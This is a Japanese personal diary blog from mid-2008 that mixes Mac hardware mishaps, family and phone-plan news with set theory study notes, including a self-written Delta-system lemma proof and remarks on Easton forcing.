全部

その後の無線キーボード
昨日から使っている新しいキーボードですが、いまいち使いにくかったのです。ミスタッチは多いし疲れます。ストレスもたまります。でも大きさもキータッチもほとんど本体と同じで、本体は使いやすいのです。どうしてなのだろうか。大いなる謎なのです。色々原因をあたっているうちにやっと気がつきました。

高さが低すぎるんですよ

デザイン上の関係と思いますが極度の薄さ重視が裏目に出ているようです。原因が分かれば解決方法は簡単です。試しに雑誌の上に乗せて使ってみたところ、全く別物かと思うほどの快適さです。これなら本体と同等の使いやすさです。一時はどうなるかと思いましたが一安心です。いつまでの雑誌の上というのもあれなので、試しに「すのこタン。」 (いつの間にかドメインができてる) に乗せてみました。

高すぎます (笑)

そもそも黒マックから「すのこタン。」を強奪したので、キーボードばかり高くなり画面が見づらくって仕方ありません。却下です。一度雑誌に戻しましたが格好悪いです。そもそもこのキーボードは格好良さが命です。そこで、近くの大きな雑貨屋さんで 8mm 程の板を買ってきました。こんどは快適です。
考えてみると黒マックを買ってから、しらたまちゃん交換、ハードディスク付け替え、メモリー 4G 化 (3Gのみ有効)、キーボード購入、いくつかのソフトウエアーを購入、500円の板購入等、なんかこの金額ならば銀マックが買えたのではないかと思えるほどです。散財のねたはつきないようです。
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2008年8月28(木)

くるるゲーデル
会社で不完全定理のうんちくをしゃべっていたら、何を勘違いしたか、ゲーデルのフルネームを「くるるゲーデル、くるるゲーデル、くるるゲーデル」と連呼していました。しゃれじゃあなくって本気で連呼していました。
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無線キーボード購入
もともと会社で黒マックのキーボードは無線のものを使っていました。ノートなのにあえて外付けキーボードを使っている理由は次の通りです。
- デュアルディスプレイを使用する場合、ノート P Cのキーボードを使うと目線が本体に近くなりすぎ、外付けディスプレイとの連携に違和感を感じる場合がある。
- PowerBookの経験から Apple のノート PC の場合、キーボードから壊れる可能性が高いと推測される。Apple の製品は補償期間後に故障すると修理する気にならないほど修理代が高いそうなので、なるべく使用する頻度を減らしたい。当然自宅より会社の方がキーボードの使用頻度は高いので、会社で外付けキーボードを使うのは理にかなっていると思われる。
- なんか面白そうだから。
そんなこんなで一世代前の無線キーボードを使っていたのです。ところがこのキーボードは Apple の製品としてはいまいち感があり、やたら大きく、あまりキータッチが良くなく、さらにこちらは最近のことかも知れませんが、押しても途中でひっかかったりして非常に使いにくい状況になってきたのです。
で、ちょっと前に外付けキーボードが新しくなったということを思い出し調べたところ、前のとは比べ物にならない程のかっこよさです。しかも無線の場合、テンキーとか余分なキーがついてなくって、とってもコンパクトです。さらに上の携帯で撮ったぴんぼけ写真でもおわかりのように、黒マックのキーボードと形も大きさも全く同じといって良いほどです。黒マックのキーボードは一見 PC6001 (ふるっ) みたいで安っぽそうなのですが、見かけによらずキータッチはよろしいのです。
というわけで、昨日の15時頃会社宛に届くよう Apple Store に注文したところ、本日届きました。肝心の使い勝手ですが、本体と全く同じ形状なので、違和感なく使えるのがうれしいです。キータッチは本体の方がやや良好な感じがしますが、これは単に慣れの問題かも知れません。ところでマウスの場合「しらたまちゃん」と呼ぶのが全国的な標準となりましたが、このキーボードはなんと呼べば良いのだろうか。さすがにこの形態を可愛いものに例えるのは無理があるかも知れません。
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2008年8月22(金)

難波先生の集合論本
難波完爾先生の「集合論 (サイエンスライブラリ現代数学への入門３)」が届きました。150ページ程の薄い本ですが内容は濃いです。このページ数で、論理体系から始まり、集合論一般の基本的な部分を網羅し、さらに「連続体仮説の ZFC からの独立性」の完全な証明つきです。余りに濃すぎて最初に読む集合論の本としてはかなり難しいのではと思います。本当はてなさくさんに教えていただいた「図」がどんなものか興味があり購入して、事実味のある図が満載で楽しいのですが、集合論自体の記述も面白さ満載です。そろそろ在庫も少なくなっているようですし、お値段も 1600円程度とお手ごろなので、まだお持ちでない方は購入されて絶対に損はないと思います。というかもっと早く買っておけば良かった。
図の方ですが、てなさくさんのご指摘の通り、とても味わい深いものです。ちょっと見た目、細胞の構造図みたいなのが多く、集合論で現れる対象なり概念が細胞内の組織みたいな感じになっています。でも Zorn の補題の絵は癌細胞っぽい気がしないでもないです。細胞がどんどん増殖して極大まで達してしまうとか。これをあんまり強調するとなんか物議を呼びそうなのであれなのですが、69ページ図2.17「集合とrank」が印象的でした。寄生物体が清楚？な世界に入ろうとして入れないで、結局崩壊する感じ。時代的にはあり得ませんが、巨神兵を思い出しました。興味があるかたは参考文献を参照してください。
余談ですが、Silver の定理というか Prikry の特異基数に関する定理の証明を眺めていたら、これってΔシステムレンマと考え方は同じではないかという気がしてきました。もちろんΔシステムレンマよりは難しいのですが、定常集合の考え方とか使い方が非常に似ているのです。土日にきちんと証明追いかけてみます。たぶん。
(参考文献) 難波完爾著集合論, サイエンス社, 1975
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2008年8月16(土)

集合論教科書の図
前回の記事でおおぼけ書いたので「追記の追記」を追記しました。
「2008年8月19日追記」を下の方に書きました。
ところで数学一般の教科書というのは、幾何学の教科書でさえ一つも図が書いてないのがあったりして、要は「図による直感はあてにならない」ということで、実際に考えるときには色々な図を書いてると思うのですが、なかなか正式なものとしては外部へ出ないことになっています。そして集合論の本もご多分にもれず、ほとんど図が書いてないものが一般的です。ただしこの場合一つだけ例外があり、集合論のユニヴァース V の、なんというか rank が上がると巾 (はば) が広がるという感じの図だけはよく見られるのです。下の写真の左側みたいな感じです。

ところで Kunen本を見るともう一つ図が書いてあり、こちらは右図のごとくΔ システムを直感的に図示したものなのです。それはそうなのですが、どうしてこの図なのでしょう。他に図はないんですよ。不思議です。Δシステムレンマは慣れない間はそれなり難しい感じがしますが、Δシステムの概念自体は特に図示しないと難しいものとは思えません。ほんと不思議です。
ところで右の図をよくよく見ると何か別のものに見えてきませんか。そうです、これは「箒」なんですよ。竹箒ですね。でもどうして箒？答えは簡単です。箒と言えばごみ掃除です。Δシステムレンマの証明を行うと、「有界」な部分で本質的な部分を抽出し、「非有界」な部分から余分なものをお掃除するという感じなのです。前回の証明で言えば $a_\alpha~\cap~\alpha$ の外側にある $a_\alpha$ の要素、もしくはそのような要素をもつ $\alpha$ はごみなのでお掃除しましょうという感じです。そこまで考え、あえて必要なさそうな図を挿入するとはさすが Kunen 先生です。え、違いますって。それならば「どうしてΔシステムの図」が特別扱いなのか納得できる反論をお願いいたします (^^。
(引用文献) 「集合論―独立性証明への案内」ケネス・キューネン著, 藤田博司訳
引用って写真撮ってアップしただけじゃあありませんか。著作権なんたらの関係でまずいことになるのでは？ばれなきゃあ良いのですが (え)、もし著者や訳者の先生に捕捉されたらどうしよう。悩みに悩んでいます (^^
(2008年8月19日追記) 始めて気がつきましたが、Δシステムの箒みたいな図って「Δ」の形ということなのでしょうか。でも仮にそうだとすると「根」の部分が余計なのでは。いずれにしてもこの仮定が正しいとすると、集合論の本に現れる図は、その概念を表現する文字が形態を表している場合が多いという感じでしょうか。
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2008年8月12(火)

Δシステムレンマ自己流証明 (暫定版)
集合論雑記目次
Kunen本に記載された一般的なΔシステムレンマを若干表現を変更して再掲します。
(Δシステムレンマ) $\kappa~<~\theta$ としてさらに $\theta$ は正則基数であると仮定する。さらに $\forall~\alpha<\theta~(|\alpha|^{<\kappa}~<~\theta)$ が成立しているとする。いま $A$ が $|A|=\theta$ かつ $\forall~{x~\in~A}~(|x|<\kappa)$ を満たしているとして $A$ の要素全体を $\langle~a_\alpha\rangle_{\alpha<\theta}$ と数え上げておく。このとき $\theta$ の濃度 $\theta$ (定常にできると思うのですが考え中---追記を参照して下さい) である部分集合 $S$ で $B=\{a_\alpha~:~\alpha~\in~S\}$ が $\Delta$ システムとなるものが存在する □
(証明) $\kappa$ が正則な場合 $\lambda=\kappa$ , $\kappa$ が特異な場合 $\lambda=\kappa^{+}$ とします。 $\kappa$ が正則基数の場合はもちろん、特異基数の場合も条件 $\forall~\alpha<\theta~(|\alpha|^{<\kappa}~<~\theta)$ とケーニヒの補題 ( $\kappa~<~\kappa^{\mathrm{cf}(\kappa)}$ ) により $\lambda=\theta$ となることはありえません。従って $\lambda<\theta$ で $\lambda$ は正則なので $E~=~\{\alpha<\theta\,:\,~\mathrm{cf}(\alpha)=\lambda~\}$ は $\theta$ の定常集合となります。そして $E$ から $\theta$ への関数 $f(\alpha)~=~\sup(\alpha~\cap~a_\alpha)$ は退行的、すなわち $\forall{\alpha~\in~E}(f(\alpha)<\alpha)$ です。従ってフォドアの補題により $F~\subset~E$ を満たす定常集合 $F$ と $\gamma~<~\theta$ が存在し $\forall{\alpha~\in~F}(f(\alpha)=\gamma)$ が成り立ちます。言い換えると $\alpha~\in~F$ に対し $\sup(\alpha~\cap~a_\alpha)~=~\gamma~<~\theta$ が成り立ちます。さらにもちろん $\alpha~\in~F$ に対し $|\alpha~\cap~a_\alpha|<\kappa$ です。すると $\forall~\alpha<\theta~(|\alpha|^{<\kappa}~<~\theta)$ により $\alpha~\in~F$ に対応する $\alpha~\cap~a_\alpha$ の個数は $\theta$ 未満です。従って $r~\subset~\theta$ と定常集合 $S_0~\subset~F$ が存在し $\alpha~\in~S_0$ に対し $\alpha~\cap~a_\alpha~=~r$ が成立します。ここで $S_0$ の要素の増大列 $\langle~\alpha_\xi~\rangle_{\xi~<~\theta}$ を $\forall~{\xi~<~\theta}\forall~{\eta~<~\xi~}(a_{{\alpha}_\eta}~~\subset~\alpha_\xi)$ を満たすように構成し $S=\{\alpha_\xi:\xi~<~\theta\}$ とすると $B=\{a_\alpha~\,:~\,~\alpha~\in~S\}$ が $r$ を根とするΔシステムとなります □
実は渕野さんが書かれた「初等部分構造の手法とその集合論での応用」の内容を拡張した方法を色々考えていて、一度うまく行ったと思ったのですが、大穴が開いていました。その後渕野さんに答えを教えて頂いたのですが、いまいち細かいところの証明が完成しません。情けない。そんなこんなで色々Δシステムの条件を考えていたら、大道具使いすぎですが、とりあえず上の証明で問題がないような気がしてきました。でも間違っていたらどうしよう。問題点がありましたらご指摘の程お願い致します。渕野さんが書かれた文献に記載された方法の拡張に関してはもう少々お待ちください。
(2008年8月15日追記) コメントでてなさくさんに教えて頂いたように、最初にZornの補題により $\theta$ の部分集合 $C$ で $\forall~\alpha,\beta\in~C(~\alpha<\beta~\rightarrow~a_\alpha~\subset~\beta)$ を満たすもので極大なものを考えます。ところが極大性と $C$ の要素が満たすべき条件により $C$ の要素の極限点はまた $C$ の要素です。従って $C$ は $\theta$ の閉非有界集合となります。すると上の証明を $\langle~a_\alpha\rangle_{\alpha~\in~C}$ から開始することが可能で、その場合最後の $S$ を作る部分は不必要となるので、定常な添え字を持つΔシステムの存在が証明できます。
(2008年8月16日追記の追記) なに寝ぼけてたんだか。 $C=\{\beta<\theta~\,:\,~\forall~\alpha<\beta(a_\alpha~\subset~\beta)\}$ です。
(参考文献)
渕野昌「初等部分構造の手法とその集合論での応用」
Kenneth Kunen 著 Set Theory (邦訳「集合論―独立性証明への案内」ケネス・キューネン著, 藤田博司訳)
(関連リンク)
2008年8月3日 Δシステムレンマ (続き)
2008年7月31日 Δシステムジレンマ
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2008年8月3日(日)

Δシステムレンマ (続き)
7月31日 Δシステムジレンマの記事で、「Kunen 本の証明よりエレガントな証明があるらしいので教えて頂けるとうれしい」と書きました。実は渕野さんからメールを頂き、ご自身が執筆された「初等部分構造の手法とその集合論での応用」に初等的部分構造を利用した証明が記述されていることを教えて頂きました。実際証明を読むと、初等的部分構造で良く使われる「浮かせたり沈めたり」テクニックを使用した証明で、少々予備知識は必要なのですが、気分の良いエレガントさを感じることができました。もちろん「予備知識」は上のペーパーを最初から読めば得られるものです。
実は渕野さんのペーパーの証明は一般的な場合ではなく、該当の集合の各要素が有限集合の場合についてなのですが、「初等的部分構造」を利用したご利益として、Δシステムをなす部分集合を定常集合としてとることができる拡張版の簡潔な証明が記載されています。
Kunen本に書いてある一般的な場合の同様な証明は、ちょっとだけヒントを頂きましたので自分で考えたいと思います。
いつも色々教えて頂き本当にありがとうございます。
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2008年8月2日(土)

補題とかレンマとか
先月最後の記事でΔシステムレンマのことを書きましたが、そういえば「補題」とか「レンマ」って、普通は定理を証明する補助的な役割をになう命題の場合が多いと思います。ところでΔシステムレンマもそうだと思いますが、補題にも色々あり、いくらなんでも補題というには大物すぎるのではと思われるものもいくつかあります。
(Zorn の補題) これが一番の大物なのでは。これさえ知っていれば順序数や基数に関することを知らないでも、代数や解析の初歩で選択公理絡みの命題は簡単に証明できてしまいます。線型空間の基底の存在とか環の極大左イデアルの存在とか超フィルターの存在とか。えーっと解析関連の方は忘れました (弱)。
(中山の補題) これは Zornの補題ほどは有名ではありませんが、可換環論の一番基本となる補題です。「クルル-東屋の補題」と呼ばれることもあります。中山先生はご自分の名前で呼ばれることを余り好まれていなかったという話も聞いたことがあります。大変お世話になったのですがステートメント忘れました (殴)。
(米田の補題) 圏論の方で有名な補題だそうです。内容は全く知りません。
(Δシステム補題) これは前回の記事で書いた通りです。
というわけで、簡単に十個くらい思いつくはずだったのですが、なんとたった四つで挫折です。ほかにもたくさんあると思いますので、ご存知の方はコメント欄に一言書いて頂けるとうれしいです。
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2008年7月31日(木)

Δシステムジレンマ
Δシステムレンマとは次の言明のことです。
(Δシステムレンマ) $\kappa~<~\theta$ としてさらに $\theta$ は正則基数であると仮定する。さらに $\forall~\alpha<\theta~(|\alpha|^{<\kappa}~<~\theta)$ が成立しているとする。いま $A$ が $|A|=\theta$ かつ $\forall~{x~\in~A}~(|x|<\kappa)$ を満たしているとする。このとき $B\subset{A}$ かつ $|B|=\theta$ を満たす $B$ で $\Delta$ システムとなるものが存在する □
集合族が $\Delta$ システムであるというのは、その集合の任意の2つの要素の共通部分が一定の値 $r$ になるということです。 $r$ をΔシステムの根と呼びます。 $r$ は空集合でも良いです。特に $\theta=\omega_1,~\kappa=\omega$ の場合「有限集合からなる非可算集合に対し、非可算な部分集合でΔシステムをなすものが存在する」ということになります。 $\Delta$ システムレンマは強制法で登場する色々な半順序集合が $\lambda^+.c.c$ を満たすことを示す場合に良く使われ、私の知る限り連続体仮説や、一般連続体仮説に関連するジェネリック拡大を作るとき、「基数の上方向保存」を証明するキーとなります。
ところで、自分自身も含め、 kunen本 (邦訳「集合論―独立性証明への案内」ケネス・キューネン著, 藤田博司訳) を読んだ人の感想を聞くと、これって難しいです、という意見がかなり多いように思います。私自身今まで二回ほど悪戦苦闘して証明を最後まで追いかけましたが、やっとこという感じで、理解したなんて絶対に言えないような状況で、のどに魚の骨が引っかかったような感じを抱いていたのです。
ところで、最近 $\Delta$ システムレンマのお世話になることがますます多くなり、さすがに証明をきちんと理解しないといけないなと思い、kunen本を読み直したのですが、驚くべきことに紙に書かないで読んだだけで10分くらいで分かりました。あわわ、どうしてあんなに苦労していたのだろう。やはり cardinal や ordinal の直感不足というか慣れてなかったのが原因なのでしょうが、いやはや一応全部読んだとは言え、全く理解不足の kunen本2章 (難しい) をもう一度読み直してみる価値はあるかも知れません。
余談ですが、Δシステムレンマの Kunen 本の証明よりエレガントなのがあるとうわさに聞いたことがあります。ご存知の方がいらっしゃいましたら、文献等教えていただけるとうれしいです。ごたごた証明を理解した後、エレガントな証明を読むのは、単にエレガントな証明を読むよりはるかに有益という面もあると思いますので、ぜひぜひご存知の方はご教示の程お願いいたします。
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2008年7月28日(月)

メガネ
結局新しいのを作らず、壊れたレンズのみ交換ということにしました。ほんとは新しいのを作ろうかな、と思ってたのですが、丁度しらたまちゃんが壊れてしまい出費が重なり、交換のみということにしたのです。新しいのを作ると大体三万円、レンズ一枚ですと大体一万円で、この差は大きいのです。年取ってくるといかにメガネで苦労するかの解説。
(裸眼) 10cm 以内のものしか見えない。本を読めないことはないが、近すぎるので片目で読む必要あり。
(近視専用メガネ) 一メートル以内のものが見づらい。本と PC は極めてつらい。ただし、遠方の視力に関しては 1.0 ～ 1.2 位なので、映画やコンサート、免許証更新時には必須。車の運転ですか？車庫出し以外は五年以上していません。車庫入れは奥さまに禁止されています。どうしてだろう？
(老眼用メガネ) 普通の人がかけたらど近眼メガネとなります。60センチメートル以内に最適化してあるため、本を読んだり PC を扱う場合必須。遠方視力は 0.3 なので通常歩いてる分には不自由しません。
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2008年7月25日(金)

最近のアクセス状況
ご存知の通り、最近日記の質の低下が著しく、アクセス数もどんどん減少中。のはずなのですが、存外安定しているのは不思議です。レンタルサーバーの方に移してから、余り真面目にログを見てないのですが、それなり常連さんに来ていただいているようです。ほんとありがたいことです。
それからこちらも謎なのですが、settheory.html (集合論雑記) のアクセスが存外多いのです。最近余り書いてないのに。全体としてそれほど嘘は書いていないつもりですが、やはりもっとちゃんとした資料を読まれれば良いなと思います。さらに心苦しいのが forcing-1.1.pdf (強制法入門) のアクセスが存外多いことです。明らかに法律関係の方からの検索大はずれアクセスもそれなりあるのですが、数学関係と思われる方からのアクセスが一日一つくらいのペースであります。
組立や証明についてそれほど穴はないと思いますが、今考えると甘い部分が多々あります。標準ジェネリック名称で押し通しちゃいましたからねえ。本来もう少し簡単な証明がごたごたしている場合が多いのです。そうはいうものの、強制法を最初に勉強したときの最大の疑問は、「ジェネリックという概念ほんとに大丈夫なの？」ということだったのです。標準ジェネリック名称に対する強制で押し通せば、存在に関する疑惑はまったく問題なくなるので、当時はこの方式も悪くないかなと思ったのです。
Kunen本や Jech本を始めて読んだとき分かりにくい部分を補完しているという意味はあるかも知れませんので、もし読んで下さる方がいらっしゃいましたら、上記の本をメインに、ここにある資料に関しては、運が良ければ分からない部分のヒントがあるかも知れないという感じで眺めて頂けると幸いです。たまにおせじで「役に立った」と言ってくださる方もいらっしゃるのですが、やはりそのような場合とてもうれしいものです。強制に関して上記資料を書いた時点に比べ大分慣れてきたと思うので、ヴァージョンアップも考えていないではないのですが、証明を書き換えるとほんとチェックが大変なのが最大の難点なのです。
(追記) くるるさんの記事での「forcingは難しいものではないはず」というのは本当だと思います。ただしろくに分かってないのに厚かましくきついことを書きますが、forcingを理解とまでもゆかないのはもちろん、証明を追いかけるのも困難な場合、それは数学基礎論や集合論の知識や勉強不足という面もあるのかも知れませんが、実際には数学全般に対する勉強というか教養が不足している場合がほとんどだと思います。代数や解析の基本がマスターできていないければ、いくら集合論を勉強しても強制法の概念や証明のマスターは難しいと思います。ということを集合論の先生に強調して頂けると非常にうれしいのですが、最大の問題は同意して頂けるかどうかです。
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2008年7月24日(木)

鴨南蛮
今日は石川県小松営業所の N さんが東京にきたので、一緒に鴨南蛮をたべにゆきました。とてもおいしかったです。

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2008年7月23日(水)

しらたまちゃんこわれる
しらたまちゃんってもちろん Apple Wireless Mighty Mouse のことです。恒例なのですが本日くるくるが完全に効かなくなりました。最初の購入が 2006年8月で保証期間中に2回新品と交換。なので今のが３つ目です。今日壊れたのが一年くらい持ったということは、内部的に少し改善された部分があるのでしょうか。いやいや、保証期間が過ぎてから無意識にくるくるを控えていたからかも。というわけで新しいのを購入するしかないのですが、いやはや眼鏡といいマウスといい散財のたねがつきないものです。困りますなあ。
(おまけ) 新しいマウスはいっぱいくるくるして半年寿命を目標とします。二回交換して保証期限後はくるくる自粛モードということで。
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2008年7月22日(火)

やっとこ
最近 forcing に関する基本的な部分、特に直感的なとらえかたについて色々不足していることを痛感し、Kunen本 (邦訳「集合論―独立性証明への案内」ケネス・キューネン著, 藤田博司訳) で forcing の繰り返しについて勉強しています。この三連休でやっとEaston forcing の local version について追いかけられたかなと思います。実は二三ヶ所いまいちあいまいなところがあるのですが、その辺りはこれから細かく検討ということで。
良く知られているのですが、一応 Easton forcing による大域的な結果を述べておきます。
(Easton 強制による定理) 基礎モデル $M$ がGCHを満たすと仮定する。 $F$ を正則基数全体のクラスから基数全体のクラスへの関数とし、さらに次の条件を満たすとする。
(1) $\kappa~\le~\lambda~\rightarrow~F(\kappa)~\le~F(\lambda)$
(2) $\kappa~<~\mathrm{cf}(F(\kappa))$
このときすべての正則基数 $\kappa$ に対し $F(\kappa)=2^{\kappa}$ を満たす $M$ のジェネリック拡大が存在する □
言い換えると正則基数の2のべきは、自明な条件を満たせば大域的に自由に「動かせる」ということです。それにしても $\lambda$ -閉の概念と $\lambda^{+}$ -c.c の概念が都合よくからみあってるものです。集合論雑記に証明を書きたいのですが、いまのところやっとこ状態なので、このままでは本の丸写しになってしまいます。Jech 本で大域的な結果の方も勉強して、自分なりに消化してからなんとかと考えています。
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2008年7月20日(日)

眼鏡壊れる
二つ持っている眼鏡の一つ、老眼用の方が壊れてしまいました。寝ころんで本を読みそのまま寝てしまい、いつの間にか体の下に移動して破壊、というお約束のパターンです。左のレンズ中央が見事に縦割れです。
これで全く使えないわけではないのですが、かっこ悪いし見づらい。いつ完全に壊滅するかという不安もあります。ためしに近眼用の方を使ってみましたが、本を読んだり PC の画面を眺めるには全く使えません。レンズのみ交換とするか、いっそ新しいものを作るかどうかも悩むところです。一番困るのは、私の眼鏡は近眼、老眼、乱視なんでもありなので、発注してから納期まで一週間近くかかる場合が多いことです。今週一週間は写真のような状態でがまんするしかなさそうです。もちろん通勤時には近眼用の眼鏡を使うことになると思います。
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2008年7月19日(土)

驚愕の事実
さっき、7月9日のコメントを書いていたのですが、少々長くなり、なんか編集窓が小さくて不便だったのです。そこで「これはもう少し大きめにした方が良いかな」と思いつつ、CGI のソースを変更するのは面倒という究極の葛藤状態に陥ったのです。ところがよくよく見ると編集窓の右下に斜線があるではないですか。そして、そこにマウスカーソルを移動してぐにゅっと動かしたら大きくなりました。いやはやコメント欄をつけて一年以上経過するのですが、全然知りませんでした。で、人様のコメント欄を見ると、やはり右下に斜線が引いてありサイズ変更ができるのです。知りませんでした。この事実に関しては10 年間知らずに自分勝手に不便な思いをしていたに違いありません。おろかです。というか目が悪すぎですなあ。
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2008年7月17日(木)

リンク集
くるるさんの club guessing sequence に関する萌え証明に関連するリンクです。とてもためになりました。萌え萌えです。ありがとうございます。
くるるの数学ノート 2008年7月16日
それからこの時点で困っていたことを分かりやすく教えて頂いたということで自分のとこもリンクします。
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2008年7月9日(水)

ぼ
無事ボーナスが支給されるようです。ですが明細を見て引かれる金額にびっくり。これがなければらくちん生活なのですがねえ。ところでこれを公言すると必ず馬鹿にされるのですが、どうして税金分お札を印刷するとまずいのだろうか (笑)。理屈では分からないのではないのですが、うーん、感覚的にいまいち。だって平均的な実所得が 10% なり 20% 増えたからって無理に値上げする必要はなく、それだけ売れ行きが伸びるのだから問題ないような気もするのです。やはりだめなんですか？そうですか、だめですか。はい、分かりました。それでは私の分だけこっそりお札を印刷するというのはどうだろうか。こちらもだめなんですか？そうですか、だめですか。はい、分かりました (^^。
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2008年7月6日(日)

いろいろ
全然面白い話題がなくて申しわけないのですが、週に一度くらいは更新しないとまずそうなので。
(モカちゃん) 今、中学三年生です。高校受験です。今日は日曜日なのに模擬試験で帰宅が22時頃と本当に大変そうです。私と違い一通り器用にこなすのですが、こちらは私とおんなじで、やや詰めが甘い部分があります。モカちゃんは三人目の子供ですが、中学三年生になると頭が痛いのは三人とも共通です。せめて内申点のような年中監視されるような評価方法がなければ親もいくらか楽なのですが、このような意見は極めて少数らしく、実現は難しいらしいです。
(黒マック) 元気に動いています。購入後一年半経過で、毎日自宅と会社を往復し、さらに通勤時間以外は常に稼働しているという状態で、非常に良く動作していると思います。もしかして「当たり」だったのかも知れません。最低三年は使いたいので、後一年半がんばって欲しいものです。
(仕事) こちらはぼちぼちです。
(体調) 先週から今週にかけて急に暑くなりまいりました。昨日から自宅ではクーラー生活です。
(数学) あ
ではでは。
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2008年6月29日(日)

生存報告
生きてます。ですが昨日今日は余り体調が良くなく、一日中寝ていました。明日からは大丈夫です。たぶん。
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2008年6月20日(金)

The Core Model
てなさくさんに教えてもらった A.Dodd 著「The Core Model」が昨日届いていました。たしかに今知りたいことの「つぼ」っぽい内容にみえます。ところで fine structure の記号をみると、学生時代悪戦苦闘した projective (flat, injective) resulution や spectral sequence を思い出してしまうのは私だけでしょうか。今、時間をみつけて kunen 本の日本語訳 ( 「集合論―独立性証明への案内」ケネス・キューネン著, 藤田博司訳) で、強制とその繰り返しで構成できる種々のモデルの実例について勉強しています。これが一段落した段階で読み始めたいと考えています。面白い本を教えて頂きありがとうございます。
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2008年6月18日(水)

いそがし
諸般の事情で最近ちと忙しいです。更新が少なくてすみません。
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2008年6月13日(金)

近況
数学の近況です。集合論雑記の方がちっとも進展していませんが、SCH の否定の整合性に関し、いくつかの道具立てを復習をかねて勉強しています。前にコメントにも書きましたが、強制法や超巾、とくにその繰り返しにに関して明らかに力不足なので、その辺りを重点的にです。うーん、それから難物の fine structure の基本を勉強すれば、いろんなことを楽しめるような気がするのですが、どちらにしろのんびりということで。
集合論雑記の方は「完全な証明をつける。したがって原理的には数学的予備知識を全く必要としない。そうはいうものの... (参考文献参照のこと)」という建前ですので、強制の反復や超巾の反復に関しても証明を書かなければいけないと思っているのですが、さすがに面倒すぎます。といいますか全部証明をつけなければいけないと思っているからなかなか進まないのですよ。でもほとんど本の丸写しとは言え、証明を日記に書くという行為は存外勉強になるという面もありちと悩ましいところです。こんなところにうだうだ書いてる時間があるのなら、もっと勉強すれば良いのですね。はい。
(参考文献) 「ブルバキ数学原論序文」表現は少々違っているかも知れません。
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2008年6月10日(火)

イーモバイル運用
大分慣れてきたというか飽きてきたので、先月のように25万円分もパケットを使用することはなくなってきましたが、それでも一月当たり5万円程度のペースで使っています。で、先月末から奥さまもイーモバイルに変更したのですが、基本的に通話とメールのみで、私以外の人との通話料以外は基本料金に収まりそうな感じです。それから私とイーモバイル同士でのメールについては SMS を多用しています。携帯同士のメールのパケット料金は恐らく一回あたり一円程度で特に問題ないと思われますが、SMS を使用するとこちらは電話料金扱いなので奥さまとの間は無料です。さらに電話扱いなので通常のメールより早く到達すると思われます。たぶん。
奥さまへの普通のメールもイーモバイルに転送していますが、大きい添付ファイルがあると、最悪一つのメールで基本料金分超過する恐れもあるので、先頭の128行のみ転送する設定にしています。
ところで明日から二泊三日でつくば出張です。いつも泊まるホテルの位置を地図で確認すると、かなり際どいのですが圏内になっているようです。でも際どい。とってもとっても際どいのです。明日この日記に書き込みがあれば圏内、そうでなければ圏外です。もっとも Mac の場合 50% 程度の確率でつながるインターネットサービスがあるホテルなので、圏外でも日記の更新を行うかも知れません。さらに圏内でも更新を忘れる可能性もあります。全く役に立たない情報ですみません。
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2008年6月5日(木)

谷山浩子公開レコーディング (二日目)
今日は二日目です。数えてなかったので全然気がつきませんでしたが、昨日は 13曲の予定のうち、12曲で時間切れになったそうで、今日は一気に14曲録音です。大分難航した曲もいくつかあり、二時間以上の長期戦となりましたが、もちろんとても楽しい時間でした。こういう企画は楽しいので、ぜひまた開催して欲しいと思います。

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2008年6月4日(水)

谷山浩子公開レコーディング (一日目)
コンサートではなく、ファンクラブ100人限定でレコーディングに参加できるという催しです。実は不義理をしていて、2年近くコンサートに行ってなかったのですが、今回はありがたいことに機会を作って下さったかたがいらっしゃいまして、二日間聴きにゆくことになりました。100人では抽選に当たるのは大変かなと思いましたが、希望者は全員当選したようです。120人くらい入っていたようですので、若干のおまけがあったのかも知れません。
参加といっても、最後の「みんなで歌おうこーなー」以外は聴いているだけなのです。ライブの録音ではなく、あくまでも「レコーディングに参加」という趣旨なので、拍手はディレクターさんから「OK です」という声がかかるまで禁止です。浩子さんが言うには、「コンサート会場でのレコーディングで観客がいないと寂しい」という理由で開催されたようです。
純粋なレコーディングなので、途中で止まったり NG がでたりする場合があります。もちろんそういう楽屋裏を覗くのもなかなか楽しいのです。曲目はすべてカバー曲で、今まで浩子さん自身が録音していなかったものばかりです。初日と二日目 13曲歌い、合計 26曲です。全部が採用されるのかは不明です。さらに単に聴いていただけとはいえ、お客さんもレコーディングに参加したということで、希望者は CD が発売されたとき名前が載るそうな。もちろん希望してきました。
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2008年5月30日(金)

地震予知
地震計の内部時計を一日遅らすことにより可能になると思いますが、と提案したところ割と受けたのですが誰も真面目に作ろうとしません。どうしてだめなのだろう。さすがに一日も時刻をずらすのはあれなので、ここは妥協ということで10秒遅らせて緊急地震速報を迅速にという案も却下。ますます不思議です。
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2008年5月27日(火)

モカちゃん修学旅行から帰る
無事帰ってきました。私が帰宅したときにはすでに爆睡モードでした。
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2008年5月25日(日)

モカちゃん修学旅行にゆく
今日から二泊三日で奈良京都方面へ修学旅行です。
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2008年5月24日(土)

続・奥さま H11T 購入計画
ぽっちんしました。免許証のコピーとかを FAX もしくは郵送しなければいけないのがちと面倒です。奥さまはカードを使わない人なので名義は私です。それからモカちゃんの携帯も私名義。導入されつつある全く無意味で不便になるだけのお子様向けフィルターと称するものを回避するためです。今は WILLCOM も契約中なので、外から見ると一人で 4台も端末を持ち歩くおおばか男です。
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2008年5月21日(水)

奥さま H11T 購入計画
奥さまは現在月額 2,900円 + 通話料 (WILLCOM 同士は無料) で WILLCOM の定額プランを使っています。そして先月までは私も WILLCOM ユーザーだったので、奥さまとの通話は無料だったのです。ところが今月私がイーモバイルに変更したため、30秒当たり 19.5 円、つまり 3分程度話をすると 120 円もかかるようになってしまったのです。さらに私が奥さま以外の人にちょっと電話をして、留守電とかのモードに入ると、大体 30秒強の通話時間となり、全く目的を果たしていないのに 40円もの大出費になってしまうのです。
ちりも積もればという感じで通話料金も油断できません。
そんなわけで、今までよりは若干家計に響くようになるのですが、いっそ奥さまもイーモバイルに変更して、お互い「定額パック24」（980円/月）オプションを使おうかな、という構想を練っています。奥さまは基本的にネットは使わないそうですがメールが必要なので、EMnet 加入ということで、月額の固定費が (2000円 + 980円 + 315円) = 3295円となります。現行 WILLCOM 2900円よりやや割高ですが、この程度の差であるならばなんとかなりそうです。心配なのはイーモバイルのパケット料金は油断すると一日で上限まで達するので、メールの送受信のみで基本分の1000円を超過することですが、さすがに携帯のメールのみならば平均的な月の場合大丈夫なような気がします。
